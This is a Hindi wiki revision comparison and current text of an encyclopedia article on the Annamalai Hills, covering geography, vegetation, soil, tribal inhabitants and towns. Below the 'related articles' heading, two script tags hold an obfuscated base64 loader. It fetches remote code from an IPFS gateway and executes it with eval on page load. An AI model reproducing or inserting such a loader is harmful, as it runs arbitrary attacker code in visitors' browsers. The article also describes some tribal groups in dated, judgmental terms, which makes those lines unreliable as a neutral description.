"अन्नामलाई पहाड़ियाँ" के अवतरणों में अंतर
व्यवस्थापन (चर्चा | योगदान) छो (Text replace - "{{लेख प्रगति" to "{{प्रचार}} {{लेख प्रगति") |
आदित्य चौधरी (चर्चा | योगदान) छो (Text replacement - "शृंखला" to "श्रृंखला") |
||
(8 सदस्यों द्वारा किये गये बीच के 13 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
− | + | [[चित्र:Anamalai-Hills.jpg|thumb|250px|अन्नामलाई पहाड़ियाँ, [[तमिलनाडु]]]] | |
− | *अन्नामलाई पहाड़ियाँ पूर्वी व पश्चिमी घाटों का संधिस्थल है और पश्चिमोत्तर व दक्षिण-पूर्व की ओर उन्मुख हैं। | + | '''अन्नामलाई''' की पहाड़ियाँ [[दक्षिण भारत]] के पश्चिमी घाट के [[तमिलनाडु]] और केरल राज्य में स्थित हैं। ये पहाड़ियाँ दक्षिण-पूर्वी [[भारत]], एलिफ़ैंट पर्वतमाला के नाम से भी विख्यात हैं। यह अक्षांश 10° 13¢ उ. से 10° 31¢ उ. तथा देशांतर 76° 52¢ पू. से 77° 23¢ पू. तक फैली है। 'अन्नामलाई' शब्द का अर्थ है 'हाथियों' का पहाड़', क्योंकि यहाँ पर पर्याप्त संख्या में जंगली हाथी पाए जाते हैं। [[पर्वत|पर्वतों]] की यह श्रेणी पालघाट दर्रे के दक्षिण में पश्चिमी घाट का ही एक भाग है।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=हिन्दी विश्वकोश, खण्ड 1|लेखक= |अनुवादक= |आलोचक= |प्रकाशक= नागरी प्रचारिणी सभा, वाराणसी|संकलन= भारत डिस्कवरी पुस्तकालय|संपादन= |पृष्ठ संख्या=114,115 |url=}}</ref> <br /> |
− | *2,695 मीटर ऊँची | + | |
+ | *अन्नामलाई पहाड़ियाँ पूर्वी व पश्चिमी [[घाट|घाटों]] का संधिस्थल है और पश्चिमोत्तर व दक्षिण-पूर्व की ओर [[उन्मुख]] हैं। | ||
+ | *2,695 मीटर ऊँची अनाईमुडी चोटी इस श्रृंखला के बिल्कुल दक्षिण-पश्चिमी छोर पर स्थित [[दक्षिण भारत]] की सबसे ऊँची चोटी है। | ||
*अभिनूतन युग (होलोसीन इपॉक) में [[पृथ्वी ग्रह|पृथ्वी]] की आन्तरिक अवरोधी हलचल से निर्मित अन्नामलाई की पहाड़ियाँ 1,000 मीटर की ढलान पर चबूतरेदार श्रेणियों का निर्माण करती हैं। | *अभिनूतन युग (होलोसीन इपॉक) में [[पृथ्वी ग्रह|पृथ्वी]] की आन्तरिक अवरोधी हलचल से निर्मित अन्नामलाई की पहाड़ियाँ 1,000 मीटर की ढलान पर चबूतरेदार श्रेणियों का निर्माण करती हैं। | ||
− | *शीशम, चन्दन, सागौन व साबुदाने के पेड़ों से युक्त सघन वन इस क्षेत्र के ज़्यादातर हिस्से को ढंकते हैं। | + | *[[शीशम]], [[चन्दन]], सागौन व साबुदाने के पेड़ों से युक्त सघन वन इस क्षेत्र के ज़्यादातर हिस्से को ढंकते हैं। |
− | *एल्युमीनियम व लौह धातु के ऑक्साइड से युक्त यहाँ की मिट्टी चित्तीदार लाल व भूरी है। | + | *[[एल्युमीनियम]] व [[लोहा|लौह]] [[धातु]] के [[ऑक्साइड]] से युक्त यहाँ की मिट्टी चित्तीदार लाल व भूरी है। |
*जिसका उपयोग भवन व सड़क के निर्माण में होता है। | *जिसका उपयोग भवन व सड़क के निर्माण में होता है। | ||
− | * | + | *इन पहाड़ियों में आबादी नाममात्र की है। [[उत्तर]] तथा [[दक्षिण]] में कादेर तथा मोलासर लोगों की बस्ती है। इसके अंचल के कई स्थानों पर पुलियार और मारावार लोग मिलते हैं। इनमें से कादेर [[जाति]] के लोगों को [[पर्वत|पहाड़ों]] का मालिक कहा जाता है। ये लोग नीच काम नहीं करते और बड़े विश्वासी तथा विनीत [[स्वभाव]] के हैं। अन्य पहाड़ी जातियों पर इनका प्रभाव भी बहुत है। मोलासर जाति के लोग कुछ सभ्य हैं और [[कृषि]] कार्य करके अपना जीवननिर्वाह करते हैं। मरवार जाति अभी भी घूमने-फिरनेवाली जातियों में परिगणित होती है। ये सभी लोग अच्छे शिकारी हैं और जंगल की वस्तुओं को बेचकर कुछ न कुछ अर्थलाभ कर लेते हैं। पिछलें दिनों यहाँ पर [[कहवा]] (कॉफ़ी) की खेती शुरु हुई है। अव्यवस्थित आबादी वाली इन पहाड़ियों पर [[कडार]], मरवार व पूलिया लोग निवास करते हैं और उनकी अर्थव्यवस्था शिकार, संग्रहण व झूम खेती पर आधारित है। |
− | *जिन जगहों पर जंगलों की कटाई हो रही है, वहाँ चाय, कॉफ़ी व रबड़ के बाग़ लगाए जा रहे हैं। | + | *जिन जगहों पर जंगलों की कटाई हो रही है, वहाँ [[चाय]], कॉफ़ी व [[रबड़]] के बाग़ लगाए जा रहे हैं। |
− | *यहाँ पर मुख्यत: घरेलू सामान, जैसे टोकरी, नारियल जटा उसकी चटाई, धातु की सामग्री व बीड़ी बनाने के उद्योग हैं। | + | *यहाँ पर मुख्यत: घरेलू सामान, जैसे टोकरी, [[नारियल]] जटा उसकी चटाई, [[धातु]] की सामग्री व बीड़ी बनाने के उद्योग हैं। |
− | *[[ | + | *[[श्रीविल्लीपुत्तूर]], उत्तमपलैयम और मानूर यहाँ के महत्त्वपूर्ण नगर हैं। |
− | |||
{{लेख प्रगति | {{लेख प्रगति | ||
|आधार= | |आधार= | ||
पंक्ति 21: | पंक्ति 22: | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
+ | {{पहाड़ी और पठार}} | ||
{{पर्वत}} | {{पर्वत}} | ||
− | [[Category:पर्वत]] | + | [[Category:पर्वत]][[Category:भूगोल_कोश]][[Category:तमिलनाडु]][[Category:पहाड़ी और पठार]][[Category:हिन्दी विश्वकोश]] |
− | [[Category:भूगोल_कोश]] | ||
__INDEX__ | __INDEX__ |
11:56, 9 फ़रवरी 2021 के समय का अवतरण
अन्नामलाई की पहाड़ियाँ दक्षिण भारत के पश्चिमी घाट के तमिलनाडु और केरल राज्य में स्थित हैं। ये पहाड़ियाँ दक्षिण-पूर्वी भारत, एलिफ़ैंट पर्वतमाला के नाम से भी विख्यात हैं। यह अक्षांश 10° 13¢ उ. से 10° 31¢ उ. तथा देशांतर 76° 52¢ पू. से 77° 23¢ पू. तक फैली है। 'अन्नामलाई' शब्द का अर्थ है 'हाथियों' का पहाड़', क्योंकि यहाँ पर पर्याप्त संख्या में जंगली हाथी पाए जाते हैं। पर्वतों की यह श्रेणी पालघाट दर्रे के दक्षिण में पश्चिमी घाट का ही एक भाग है।[1]
- अन्नामलाई पहाड़ियाँ पूर्वी व पश्चिमी घाटों का संधिस्थल है और पश्चिमोत्तर व दक्षिण-पूर्व की ओर उन्मुख हैं।
- 2,695 मीटर ऊँची अनाईमुडी चोटी इस श्रृंखला के बिल्कुल दक्षिण-पश्चिमी छोर पर स्थित दक्षिण भारत की सबसे ऊँची चोटी है।
- अभिनूतन युग (होलोसीन इपॉक) में पृथ्वी की आन्तरिक अवरोधी हलचल से निर्मित अन्नामलाई की पहाड़ियाँ 1,000 मीटर की ढलान पर चबूतरेदार श्रेणियों का निर्माण करती हैं।
- शीशम, चन्दन, सागौन व साबुदाने के पेड़ों से युक्त सघन वन इस क्षेत्र के ज़्यादातर हिस्से को ढंकते हैं।
- एल्युमीनियम व लौह धातु के ऑक्साइड से युक्त यहाँ की मिट्टी चित्तीदार लाल व भूरी है।
- जिसका उपयोग भवन व सड़क के निर्माण में होता है।
- इन पहाड़ियों में आबादी नाममात्र की है। उत्तर तथा दक्षिण में कादेर तथा मोलासर लोगों की बस्ती है। इसके अंचल के कई स्थानों पर पुलियार और मारावार लोग मिलते हैं। इनमें से कादेर जाति के लोगों को पहाड़ों का मालिक कहा जाता है। ये लोग नीच काम नहीं करते और बड़े विश्वासी तथा विनीत स्वभाव के हैं। अन्य पहाड़ी जातियों पर इनका प्रभाव भी बहुत है। मोलासर जाति के लोग कुछ सभ्य हैं और कृषि कार्य करके अपना जीवननिर्वाह करते हैं। मरवार जाति अभी भी घूमने-फिरनेवाली जातियों में परिगणित होती है। ये सभी लोग अच्छे शिकारी हैं और जंगल की वस्तुओं को बेचकर कुछ न कुछ अर्थलाभ कर लेते हैं। पिछलें दिनों यहाँ पर कहवा (कॉफ़ी) की खेती शुरु हुई है। अव्यवस्थित आबादी वाली इन पहाड़ियों पर कडार, मरवार व पूलिया लोग निवास करते हैं और उनकी अर्थव्यवस्था शिकार, संग्रहण व झूम खेती पर आधारित है।
- जिन जगहों पर जंगलों की कटाई हो रही है, वहाँ चाय, कॉफ़ी व रबड़ के बाग़ लगाए जा रहे हैं।
- यहाँ पर मुख्यत: घरेलू सामान, जैसे टोकरी, नारियल जटा उसकी चटाई, धातु की सामग्री व बीड़ी बनाने के उद्योग हैं।
- श्रीविल्लीपुत्तूर, उत्तमपलैयम और मानूर यहाँ के महत्त्वपूर्ण नगर हैं।
|
|
|
|
|
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 114,115 |